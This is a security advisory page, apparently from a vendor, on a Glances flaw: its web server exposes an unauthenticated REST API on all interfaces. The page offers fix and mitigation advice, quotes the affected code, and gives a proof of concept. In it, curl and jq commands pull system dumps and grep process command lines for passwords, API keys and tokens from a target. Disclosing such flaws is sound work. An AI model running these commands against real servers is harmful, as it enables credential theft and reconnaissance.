How do I fix GHSA-wvxv-4j8q-4wjq?

Update glances to 4.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wvxv-4j8q-4wjq is resolved across your whole dependency graph.

How do I detect GHSA-wvxv-4j8q-4wjq in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for glances. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-wvxv-4j8q-4wjq if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-wvxv-4j8q-4wjq?

O3 pinpoints whether GHSA-wvxv-4j8q-4wjq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-wvxv-4j8q-4wjq actively exploited in the wild?

No public exploit code has been indexed for GHSA-wvxv-4j8q-4wjq yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What type of vulnerability is GHSA-wvxv-4j8q-4wjq?

Glances exposes the REST API without authentication

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.

Details

Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.

Affected Code:

File: glances/outputs/glances_restful_api.py, lines 259-272

if self.args.password:
    self._password = GlancesPassword(username=args.username, config=config)
    if JWT_AVAILABLE:
        jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)
        jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)
        self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)
        logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)")
    else:
        self._jwt_handler = None
        logger.info("JWT authentication not available (python-jose not installed)")
else:
    self._password = None  # NO AUTHENTICATION BY DEFAULT
    self._jwt_handler = None

File: glances/outputs/glances_restful_api.py, lines 477-480

if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)  # NO AUTH DEPENDENCY

File: glances/outputs/glances_restful_api.py, lines 98-99

self.bind_address = args.bind_address or "0.0.0.0"  # BINDS TO ALL INTERFACES
self.port = args.port or 61208

    'nice',
    'status',
    'io_counters',
    'cpu_num',
    'cmdline',  # FULL COMMAND LINE EXPOSED, NO SANITIZATION
]

PoC

Start Glances in default web server mode:

glances -w
# Output: Glances Web User Interface started on http://0.0.0.0:61208/

Access API without authentication from any network client:

curl -s http://TARGET:61208/api/4/system | jq .

Extract system information:

curl -s http://TARGET:61208/api/4/all > system_dump.json

Harvest credentials from process list:

curl -s http://TARGET:61208/api/4/processlist | \
  jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) | 
  {pid, username, process: .name, cmdline}'

Example credential exposure:

{
  "pid": 4059,
  "username": "root",
  "process": "python3",
  "cmdline": [
    "python3",
    "-c",
    "import time; time.sleep(3600)",
    "--api-key=sk-super-secret-token-12345",
    "--password=MySecretPassword123",
    "--db-pass=admin123"
  ]
}

Impact

Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.
